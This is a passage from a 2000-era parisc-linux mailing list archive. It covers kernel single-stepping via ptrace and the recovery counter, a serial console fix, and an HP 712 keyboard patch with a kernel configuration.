> it is actually useful for this purpose.

Alan Modra made those early decisions, but I gather that he went
for the recovery counter because it at least appears to be rather
more straightforward.

Richard


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Thu, 16 Nov 2000 05:44:55 -0700 (MST)
Lines: 85
Approved: news@gmane.org
Message-ID: <200011161244.FAA03502@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619300 6365 80.91.229.3 (22 Nov 2014 01:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:40 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Thu Nov 16 05:46:19 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id FAA25431
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 05:46:18 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by palrel3.hp.com (Postfix) with ESMTP id 1897F133D
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 04:46:09 -0800 (PST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id FAA03502 for parisc-linux@puffin.external.hp.com; Thu, 16 Nov 2000 05:44:55 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8481

Richard,

>
> Sorry, I worded that very badly.  The code that moves the childs
> IAOQ on is in the kernel, invoked as a result of the controlling
> process calling ptrace(PTRACE_SINGLESTEP...) when the childs N
> bit is set.
>

Great.

> > Does this code properly handle branches in the delay slot of another
> > branch? (you need to make sure you are not advancing the queues by just
> > adding 4 to each element).  One concern I have about this method is that
>
> Current code does
>
>     /* Nullified, just crank over the queue. */
>     task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
>     task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
>     task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;
>
> Does that look right to you?
>

Yes, that is the correct way to do it (I'll assume the duplicated line
is just a cut/paste error).

> > I wonder if it is necessary to do this.  So what if we don't stop on the
> > nullified instruction.  Since it is nullified, it doesn't actually do
> > anything, so why does the user have to see it, i.e. just let the recovery
> > counter trap happen on the next truly executed instruction (i.e. the
> > debugger performs a "double step" in this case).  Am I missing something
> > here?
>
> I don't see why we really need to stop on a nullified instruction, but
> I'll wait for Alan to comment as he wrote this initially.
>

Given the above, i.e. that this is being handled in the kernel anyway, I
guess I don't really care which way this goes. Probably it is best to
do it whatever way gdb on hp-ux presents it.

> >     1) When single stepping over a syscall, when do you actually stop the
> >     single stepping and execute the syscall?  Hopefully you are not
> >     allowing single stepping after the gate instruction on the gateway
> >     page (and returning control to a non privileged debugging process).
> >     The recovery counter trap should detect when the user code gets
> >     to the gateway page.
>
> At the moment my test harness notes IAOQ=0x100 and stops single stepping,
> but obviously the kernel needs to enforce that.
>
You should also be checking the space. But yes, the kernel needs to enforce
this for security reasons. You should be able to do it in the recovery
counter trap handler (rather than having to test for it in the syscall
path, which affects all processes).

> >     2) Does your solution properly handle single stepping into and out of
> >     a signal handler?  Note that the debugger will trap the signal as part
> >     of this process. Since the return is handled through a hidden syscall
> >     you may not have to do anything special here.
>
> Havn't looked at signal handling yet.
>

I'm not sure that there is a real issue here or not.  HP-UX has some code
for single stepping with respect to signal handlers, but I believe it may
only be necessary due to the saved state necessary as part of the iaoq
manipulation.  Obviously you should test this case.

> > Note that HP-UX does not use the recovery counter for single stepping.  I
>
> Thanks for the description of how HP-UX does it.  I'll stick with
> the recovery counter for now as it does seem to be basically working.
> I'll also try to ensure that it is completely encapsulated within the kernel
> so it is less painful to change later, if need be.
>

Sounds ok with me. And as long as there are no corner cases, it probably
is the best solution, assuming we don't find another application for
the recovery counter.

John


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Thu, 16 Nov 2000 13:20:17 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20001116132017.W32715@linuxcare.com>
References: <200011161244.FAA03502@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619301 6367 80.91.229.3 (22 Nov 2014 01:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:41 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Nov 16 06:20:51 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA25911
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 06:20:47 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EA18EB007; Thu, 16 Nov 2000 13:20:17 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011161244.FAA03502@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Thu, Nov 16, 2000 at 05:44:55AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8482

On Thu, Nov 16, 2000 at 05:44:55AM -0700, John Marvin wrote:
> > Current code does
> >
> >     /* Nullified, just crank over the queue. */
> >     task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
> >     task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
> >     task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;
> >
> > Does that look right to you?
> 
> Yes, that is the correct way to do it (I'll assume the duplicated line
> is just a cut/paste error).

It's not duplicated (iaoq v. iasq).

> > At the moment my test harness notes IAOQ=0x100 and stops single stepping,
> > but obviously the kernel needs to enforce that.
> >
> You should also be checking the space. But yes, the kernel needs to enforce
> this for security reasons. You should be able to do it in the recovery
> counter trap handler (rather than having to test for it in the syscall
> path, which affects all processes).

I might come back to you on that when I've thought some more.

Thanks,
  Richard


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ian Zink <ian.zink@maryville.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I got the serial console to work...
Date: Thu, 16 Nov 2000 09:46:18 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <C36304FE952AD411AC87002094120338029E80@MTMAIL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619301 6372 80.91.229.3 (22 Nov 2014 01:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:41 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: ian.zink@maryville.com  Thu Nov 16 08:44:39 2000
Original-Received: from [12.34.165.10] (ns.maryville.com [12.34.165.10])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26865
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 08:44:38 -0700
Original-Received: from mtmail.maryville.com by [12.34.165.10]
          via smtpd (for puffin.external.hp.com [192.25.206.4]) with SMTP; 16 Nov 2000 15:46:45 UT
Original-Received: by MTMAIL with Internet Mail Service (5.5.2651.97)
	id <WGSF27FC>; Thu, 16 Nov 2000 09:46:28 -0600
X-Mailer: Internet Mail Service (5.5.2651.97)
Xref: news.gmane.org gmane.linux.ports.parisc:8483

After reading some posts, I went back to trying to use to a serial console
to no avail.. Then.. suddenly it hit me. Do'y. The cable I was using was
straight-through not Cross-over. Now I have the 712 all booted and running
Debian. Very cool, indeed. Thanks for all for your help. I think I will
still work on building a STI ISO for the fun of it :) 


Thanks much,

Ian Zink, Systems Engineer
Maryville Technologies
540 Maryville Centre, Suite 300
St. Louis, MO  63141
636/519-4182
(FAX) 636/519-4141
ian.zink@maryville.com  
www.maryville.com



From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The config for 712 hp boxes
Date: Thu, 16 Nov 2000 18:18:58 +0100
Lines: 499
Approved: news@gmane.org
Message-ID: <00a801c04ff1$4e9b7f20$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_00A5_01C04FF9.B01CC3A0"
X-Trace: ger.gmane.org 1416619301 6376 80.91.229.3 (22 Nov 2014 01:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:41 +0000 (UTC)
Cc: <parisc-linux@puffin.external.hp.com>
To: "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: marteaut@esiee.fr  Thu Nov 16 10:14:36 2000
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA27645
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 10:14:34 -0700
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP
	id 6A66E57319; Thu, 16 Nov 2000 18:16:29 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8484

This is a multi-part message in MIME format.

------=_NextPart_000_00A5_01C04FF9.B01CC3A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

    Here is the config file we use to compile a new kernel from the test10
sources. We have the console with the STI and an extra term on the serial
port.
Also, in this mail, you have the diff between our hp_keyb.c and the official
one but it gives you the ~ and the ' and others scancodes.
All this works for the 712 boxes. We were forced to reboot our box to test
the new kernel but before the uptime was 3 days and 4 hours during which we
ran dselect and did some compiling.

All the files inclosed are downloadable at
http://www.esiee.fr/~puffin/code/dl.html

Bye,
ESIEE Team

------=_NextPart_000_00A5_01C04FF9.B01CC3A0
Content-Type: application/octet-stream;
	name="keyb.patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="keyb.patch"

diff -urN linux2/drivers/char/hp_keyb.c linux/drivers/char/hp_keyb.c=0A=
--- linux2/drivers/char/hp_keyb.c	Thu Nov 16 17:39:03 2000=0A=
+++ linux/drivers/char/hp_keyb.c	Thu Nov 16 17:18:54 2000=0A=
@@ -70,12 +70,12 @@=0A=
 #define K_F8		0x42=0A=
 #define K_F9		0x43=0A=
 #define K_F10		0x44=0A=
-#define K_F11		87=0A=
-#define K_F12		88=0A=
+#define K_F11		0x57=0A=
+#define K_F12		0x58=0A=
 #define K_PRNT		0x54=0A=
-#define K_SCRL		70=0A=
-#define K_BRK		119=0A=
-#define K_AGR		K_NONE=0A=
+#define K_SCRL		0x46=0A=
+#define K_BRK		0x77=0A=
+#define K_AGR		0x29=0A=
 #define K_1		0x02=0A=
 #define K_2		0x03=0A=
 #define K_3		0x04=0A=
@@ -89,10 +89,10 @@=0A=
 #define K_MINS		0x0c=0A=
 #define K_EQLS		0x0d=0A=
 #define K_BKSP		0x0e=0A=
-#define K_INS		110=0A=
-#define K_HOME		102=0A=
-#define K_PGUP		104=0A=
-#define K_NUML		69=0A=
+#define K_INS		0x6e=0A=
+#define K_HOME		0x66=0A=
+#define K_PGUP		0x68=0A=
+#define K_NUML		0x45=0A=
 #define KP_SLH		0x62=0A=
 #define KP_STR		0x37=0A=
 #define KP_MNS		0x4a=0A=
@@ -111,13 +111,13 @@=0A=
 #define K_RSBK		0x1b=0A=
 #define K_ENTR		0x1c=0A=
 #define K_DEL		111=0A=
-#define K_END		107=0A=
-#define K_PGDN		109=0A=
+#define K_END		0x6b=0A=
+#define K_PGDN		0x6d=0A=
 #define KP_7		0x47=0A=
 #define KP_8		0x48=0A=
 #define KP_9		0x49=0A=
-#define KP_PLS		118=0A=
-#define K_CAPS		58=0A=
+#define KP_PLS		0x4e=0A=
+#define K_CAPS		0x3a=0A=
 #define K_A		0x1e=0A=
 #define K_S		0x1f=0A=
 #define K_D		0x20=0A=
@@ -146,7 +146,7 @@=0A=
 #define K_DOT		0x34=0A=
 #define K_FSLH		0x35=0A=
 #define K_RSFT		0x36=0A=
-#define K_UP		103	=0A=
+#define K_UP		0x67=0A=
 #define KP_1		0x4f=0A=
 #define KP_2		0x50=0A=
 #define KP_3		0x51=0A=
@@ -156,11 +156,11 @@=0A=
 #define K_SPCE		0x39=0A=
 #define K_RALT		0x64=0A=
 #define K_RCTL		0x61=0A=
-#define K_LEFT		105=0A=
-#define K_DOWN		108=0A=
-#define K_RGHT		106=0A=
-#define KP_0		82=0A=
-#define KP_DOT		83=0A=
+#define K_LEFT		0x69=0A=
+#define K_DOWN		0x6c=0A=
+#define K_RGHT		0x6a=0A=
+#define KP_0		0x52=0A=
+#define KP_DOT		0x53=0A=
 =0A=
 static unsigned char keycode_translate[256] =3D=0A=
 {=0A=
@@ -198,7 +198,7 @@=0A=
 =0A=
 /* ----- the following code stolen from pc_keyb.c */=0A=
 =0A=
-#ifdef CONFIG_MAGIC_SYSRQ=0A=
+=0A=
 unsigned char pckbd_sysrq_xlate[128] =3D=0A=
 	"\000\0331234567890-=3D\177\t"			/* 0x00 - 0x0f */=0A=
 	"qwertyuiop[]\r\000as"				/* 0x10 - 0x1f */=0A=
@@ -207,7 +207,6 @@=0A=
 	"\206\207\210\211\212\000\000789-456+1"		/* 0x40 - 0x4f */=0A=
 	"230\177\000\000\213\214\000\000\000\000\000\000\000\000\000\000" /* =
0x50 - 0x5f */=0A=
 	"\r\000/";					/* 0x60 - 0x6f */=0A=
-#endif=0A=
 =0A=
 /*=0A=
  * Translation of escaped scancodes to keycodes.=0A=

------=_NextPart_000_00A5_01C04FF9.B01CC3A0
Content-Type: application/octet-stream;
	name="config"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="config"

#=0A=
# Automatically generated by make menuconfig: don't edit=0A=
#=0A=
CONFIG_PARISC=3Dy=0A=
# CONFIG_UID16 is not set=0A=
=0A=
#=0A=
# Code maturity level options=0A=
#=0A=
CONFIG_EXPERIMENTAL=3Dy=0A=
=0A=
#=0A=
# General options=0A=
#=0A=
# CONFIG_SMP is not set=0A=
# CONFIG_KWDB is not set=0A=
CONFIG_GSC=3Dy=0A=
CONFIG_IOMMU_CCIO=3Dy=0A=
CONFIG_GSC_LASI=3Dy=0A=
CONFIG_PCI=3Dy=0A=
CONFIG_GSC_DINO=3Dy=0A=
CONFIG_PCI_LBA=3Dy=0A=
CONFIG_IOSAPIC=3Dy=0A=
CONFIG_IOMMU_SBA=3Dy=0A=
=0A=
#=0A=
# Loadable module support=0A=
#=0A=
# CONFIG_MODULES is not set=0A=
=0A=
#=0A=
# General setup=0A=
#=0A=
CONFIG_NET=3Dy=0A=
# CONFIG_SYSVIPC is not set=0A=
# CONFIG_BSD_PROCESS_ACCT is not set=0A=
CONFIG_SYSCTL=3Dy=0A=
# CONFIG_BINFMT_SOM is not set=0A=
CONFIG_BINFMT_ELF=3Dy=0A=
# CONFIG_BINFMT_MISC is not set=0A=
# CONFIG_BINFMT_JAVA is not set=0A=
=0A=
#=0A=
# Parallel port support=0A=
#=0A=
CONFIG_PARPORT=3Dy=0A=
# CONFIG_PARPORT_PC is not set=0A=
# CONFIG_PARPORT_GSC is not set=0A=
# CONFIG_PARPORT_OTHER is not set=0A=
# CONFIG_PARPORT_1284 is not set=0A=
=0A=
#=0A=
# Block devices=0A=
#=0A=
# CONFIG_BLK_DEV_FD is not set=0A=
# CONFIG_BLK_DEV_XD is not set=0A=
# CONFIG_PARIDE is not set=0A=
# CONFIG_BLK_CPQ_DA is not set=0A=
# CONFIG_BLK_CPQ_CISS_DA is not set=0A=
# CONFIG_BLK_DEV_DAC960 is not set=0A=
# CONFIG_BLK_DEV_LOOP is not set=0A=
# CONFIG_BLK_DEV_NBD is not set=0A=
CONFIG_BLK_DEV_RAM=3Dy=0A=
CONFIG_BLK_DEV_RAM_SIZE=3D4096=0A=
CONFIG_BLK_DEV_INITRD=3Dy=0A=
=0A=
#=0A=
# Networking options=0A=
#=0A=
# CONFIG_PACKET is not set=0A=
# CONFIG_NETLINK is not set=0A=
# CONFIG_NETFILTER is not set=0A=
# CONFIG_FILTER is not set=0A=
# CONFIG_UNIX is not set=0A=
CONFIG_INET=3Dy=0A=
# CONFIG_IP_MULTICAST is not set=0A=
# CONFIG_IP_ADVANCED_ROUTER is not set=0A=
CONFIG_IP_PNP=3Dy=0A=
# CONFIG_IP_PNP_BOOTP is not set=0A=
# CONFIG_IP_PNP_RARP is not set=0A=
# CONFIG_NET_IPIP is not set=0A=
# CONFIG_NET_IPGRE is not set=0A=
# CONFIG_INET_ECN is not set=0A=
# CONFIG_SYN_COOKIES is not set=0A=
# CONFIG_IPV6 is not set=0A=
# CONFIG_KHTTPD is not set=0A=
# CONFIG_ATM is not set=0A=
# CONFIG_IPX is not set=0A=
# CONFIG_ATALK is not set=0A=
# CONFIG_DECNET is not set=0A=
# CONFIG_BRIDGE is not set=0A=
# CONFIG_X25 is not set=0A=
# CONFIG_LAPB is not set=0A=
# CONFIG_LLC is not set=0A=
# CONFIG_NET_DIVERT is not set=0A=
# CONFIG_ECONET is not set=0A=
# CONFIG_WAN_ROUTER is not set=0A=
# CONFIG_NET_FASTROUTE is not set=0A=
# CONFIG_NET_HW_FLOWCONTROL is not set=0A=
=0A=
#=0A=
# QoS and/or fair queueing=0A=
#=0A=
# CONFIG_NET_SCHED is not set=0A=
=0A=
#=0A=
# SCSI support=0A=
#=0A=
CONFIG_SCSI=3Dy=0A=
CONFIG_BLK_DEV_SD=3Dy=0A=
CONFIG_SD_EXTRA_DEVS=3D40=0A=
# CONFIG_CHR_DEV_ST is not set=0A=
# CONFIG_BLK_DEV_SR is not set=0A=
CONFIG_CHR_DEV_SG=3Dy=0A=
# CONFIG_SCSI_MULTI_LUN is not set=0A=
# CONFIG_SCSI_CONSTANTS is not set=0A=
=0A=
#=0A=
# SCSI low-level drivers=0A=
#=0A=
CONFIG_SCSI_LASI=3Dy=0A=
CONFIG_SCSI_ZALON=3Dy=0A=
CONFIG_SCSI_SYM53C8XX=3Dy=0A=
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=3D8=0A=
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=3D32=0A=
CONFIG_SCSI_NCR53C8XX_SYNC=3D20=0A=
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set=0A=
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set=0A=
=0A=
#=0A=
# Network device support=0A=
#=0A=
CONFIG_NETDEVICES=3Dy=0A=
CONFIG_LASI_82596=3Dy=0A=
=0A=
#=0A=
# ARCnet devices=0A=
#=0A=
# CONFIG_ARCNET is not set=0A=
# CONFIG_DUMMY is not set=0A=
# CONFIG_BONDING is not set=0A=
# CONFIG_EQUALIZER is not set=0A=
# CONFIG_TUN is not set=0A=
# CONFIG_NET_SB1000 is not set=0A=
=0A=
#=0A=
# Ethernet (10 or 100Mbit)=0A=
#=0A=
CONFIG_NET_ETHERNET=3Dy=0A=
# CONFIG_NET_VENDOR_3COM is not set=0A=
# CONFIG_LANCE is not set=0A=
# CONFIG_NET_VENDOR_SMC is not set=0A=
# CONFIG_NET_VENDOR_RACAL is not set=0A=
# CONFIG_AT1700 is not set=0A=
# CONFIG_DEPCA is not set=0A=
# CONFIG_HP100 is not set=0A=
# CONFIG_NET_ISA is not set=0A=
CONFIG_NET_PCI=3Dy=0A=
# CONFIG_PCNET32 is not set=0A=
# CONFIG_ADAPTEC_STARFIRE is not set=0A=
# CONFIG_AC3200 is not set=0A=
# CONFIG_APRICOT is not set=0A=
# CONFIG_CS89x0 is not set=0A=
# CONFIG_DE4X5 is not set=0A=
CONFIG_TULIP=3Dy=0A=
# CONFIG_DGRS is not set=0A=
# CONFIG_DM9102 is not set=0A=
# CONFIG_EEPRO100 is not set=0A=
# CONFIG_LNE390 is not set=0A=
# CONFIG_NATSEMI is not set=0A=
# CONFIG_NE2K_PCI is not set=0A=
# CONFIG_NE3210 is not set=0A=
# CONFIG_ES3210 is not set=0A=
# CONFIG_RTL8129 is not set=0A=
# CONFIG_8139TOO is not set=0A=
# CONFIG_SIS900 is not set=0A=
# CONFIG_EPIC100 is not set=0A=
# CONFIG_SUNDANCE is not set=0A=
# CONFIG_TLAN is not set=0A=
# CONFIG_VIA_RHINE is not set=0A=
# CONFIG_WINBOND_840 is not set=0A=
# CONFIG_NET_POCKET is not set=0A=
=0A=
#=0A=
# Ethernet (1000 Mbit)=0A=
#=0A=
# CONFIG_ACENIC is not set=0A=
# CONFIG_HAMACHI is not set=0A=
# CONFIG_YELLOWFIN is not set=0A=
# CONFIG_SK98LIN is not set=0A=
# CONFIG_FDDI is not set=0A=
# CONFIG_HIPPI is not set=0A=
# CONFIG_PLIP is not set=0A=
# CONFIG_PPP is not set=0A=
# CONFIG_SLIP is not set=0A=
=0A=
#=0A=
# Wireless LAN (non-hamradio)=0A=
#=0A=
# CONFIG_NET_RADIO is not set=0A=
=0A=
#=0A=
# Token Ring devices=0A=
#=0A=
# CONFIG_TR is not set=0A=
# CONFIG_NET_FC is not set=0A=
# CONFIG_RCPCI is not set=0A=
# CONFIG_SHAPER is not set=0A=
=0A=
#=0A=
# Wan interfaces=0A=
#=0A=
# CONFIG_WAN is not set=0A=
=0A=
#=0A=
# Character devices=0A=
#=0A=
CONFIG_VT=3Dy=0A=
CONFIG_VT_CONSOLE=3Dy=0A=
CONFIG_GSC_PS2=3Dy=0A=
# CONFIG_HIL is not set=0A=
CONFIG_SERIAL=3Dy=0A=
# CONFIG_SERIAL_CONSOLE is not set=0A=
CONFIG_SERIAL_GSC=3Dy=0A=
# CONFIG_SERIAL_EXTENDED is not set=0A=
# CONFIG_SERIAL_NONSTANDARD is not set=0A=
CONFIG_UNIX98_PTYS=3Dy=0A=
CONFIG_UNIX98_PTY_COUNT=3D256=0A=
# CONFIG_PRINTER is not set=0A=
# CONFIG_PPDEV is not set=0A=
=0A=
#=0A=
# I2C support=0A=
#=0A=
# CONFIG_I2C is not set=0A=
=0A=
#=0A=
# Mice=0A=
#=0A=
# CONFIG_BUSMOUSE is not set=0A=
# CONFIG_MOUSE is not set=0A=
=0A=
#=0A=
# Joysticks=0A=
#=0A=
# CONFIG_JOYSTICK is not set=0A=
# CONFIG_QIC02_TAPE is not set=0A=
=0A=
#=0A=
# Watchdog Cards=0A=
#=0A=
# CONFIG_WATCHDOG is not set=0A=
CONFIG_GENRTC=3Dy=0A=
# CONFIG_INTEL_RNG is not set=0A=
# CONFIG_NVRAM is not set=0A=
# CONFIG_RTC is not set=0A=
# CONFIG_DTLK is not set=0A=
# CONFIG_R3964 is not set=0A=
# CONFIG_APPLICOM is not set=0A=
=0A=
#=0A=
# Ftape, the floppy tape device driver=0A=
#=0A=
# CONFIG_FTAPE is not set=0A=
# CONFIG_AGP is not set=0A=
# CONFIG_DRM is not set=0A=
=0A=
#=0A=
# File systems=0A=
#=0A=
# CONFIG_QUOTA is not set=0A=
# CONFIG_AUTOFS_FS is not set=0A=
# CONFIG_AUTOFS4_FS is not set=0A=
# CONFIG_ADFS_FS is not set=0A=
# CONFIG_ADFS_FS_RW is not set=0A=
# CONFIG_AFFS_FS is not set=0A=
# CONFIG_HFS_FS is not set=0A=
# CONFIG_BFS_FS is not set=0A=
# CONFIG_FAT_FS is not set=0A=
# CONFIG_MSDOS_FS is not set=0A=
# CONFIG_UMSDOS_FS is not set=0A=
# CONFIG_VFAT_FS is not set=0A=
# CONFIG_EFS_FS is not set=0A=
# CONFIG_JFFS_FS is not set=0A=
# CONFIG_CRAMFS is not set=0A=
# CONFIG_RAMFS is not set=0A=
CONFIG_ISO9660_FS=3Dy=0A=
# CONFIG_JOLIET is not set=0A=
# CONFIG_MINIX_FS is not set=0A=
# CONFIG_NTFS_FS is not set=0A=
# CONFIG_NTFS_RW is not set=0A=
# CONFIG_HPFS_FS is not set=0A=
CONFIG_PROC_FS=3Dy=0A=
# CONFIG_DEVFS_FS is not set=0A=
# CONFIG_DEVFS_MOUNT is not set=0A=
# CONFIG_DEVFS_DEBUG is not set=0A=
# CONFIG_DEVPTS_FS is not set=0A=
# CONFIG_QNX4FS_FS is not set=0A=
# CONFIG_QNX4FS_RW is not set=0A=
# CONFIG_ROMFS_FS is not set=0A=
CONFIG_EXT2_FS=3Dy=0A=
# CONFIG_SYSV_FS is not set=0A=
# CONFIG_SYSV_FS_WRITE is not set=0A=
# CONFIG_UDF_FS is not set=0A=
# CONFIG_UDF_RW is not set=0A=
# CONFIG_UFS_FS is not set=0A=
# CONFIG_UFS_FS_WRITE is not set=0A=
=0A=
#=0A=
# Network File Systems=0A=
#=0A=
# CONFIG_CODA_FS is not set=0A=
CONFIG_NFS_FS=3Dy=0A=
# CONFIG_NFS_V3 is not set=0A=
CONFIG_ROOT_NFS=3Dy=0A=
# CONFIG_NFSD is not set=0A=
# CONFIG_NFSD_V3 is not set=0A=
CONFIG_SUNRPC=3Dy=0A=
CONFIG_LOCKD=3Dy=0A=
# CONFIG_SMB_FS is not set=0A=
# CONFIG_NCP_FS is not set=0A=
# CONFIG_NCPFS_PACKET_SIGNING is not set=0A=
# CONFIG_NCPFS_IOCTL_LOCKING is not set=0A=
# CONFIG_NCPFS_STRONG is not set=0A=
# CONFIG_NCPFS_NFS_NS is not set=0A=
# CONFIG_NCPFS_OS2_NS is not set=0A=
# CONFIG_NCPFS_SMALLDOS is not set=0A=
# CONFIG_NCPFS_MOUNT_SUBDIR is not set=0A=
# CONFIG_NCPFS_NDS_DOMAINS is not set=0A=
# CONFIG_NCPFS_NLS is not set=0A=
# CONFIG_NCPFS_EXTRAS is not set=0A=
=0A=
#=0A=
# Partition Types=0A=
#=0A=
# CONFIG_PARTITION_ADVANCED is not set=0A=
CONFIG_MSDOS_PARTITION=3Dy=0A=
# CONFIG_NLS is not set=0A=
=0A=
#=0A=
# Sound Drivers=0A=
#=0A=
# CONFIG_SOUND is not set=0A=
=0A=
#=0A=
# Console drivers=0A=
#=0A=
=0A=
#=0A=
# Frame-buffer support=0A=
#=0A=
# CONFIG_FB is not set=0A=
CONFIG_STI_CONSOLE=3Dy=0A=
CONFIG_DUMMY_CONSOLE=3Dy=0A=
=0A=
#=0A=
# Kernel hacking=0A=
#=0A=
CONFIG_MAGIC_SYSRQ=3Dy=0A=

------=_NextPart_000_00A5_01C04FF9.B01CC3A0--


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Little bits of news.
Date: Wed, 21 Apr 1999 20:24:18 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990421202157.5593j-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619302 6380 80.91.229.3 (22 Nov 2014 01:21:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Wed Apr 21 20:24:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id UAA07126
	for <parisc-linux@sod.res.cmu.edu>; Wed, 21 Apr 1999 20:24:31 -0400
Original-Received: (qmail 14237 invoked by uid 15267); 22 Apr 1999 00:23:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14230 invoked from network); 22 Apr 1999 00:23:04 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 22 Apr 1999 00:23:04 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id UAA12798
	for <parisc-linux@thepuffingroup.com>; Wed, 21 Apr 1999 20:24:19 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8485


First, for all you folk expecting hardware who don't live in the US, I'd
expect your boxes around the first of May. I think everyone else in the US
who was supposed to get hardware has.

For all you searching for PA RISC 2.0 books, HP is being so kind as to get
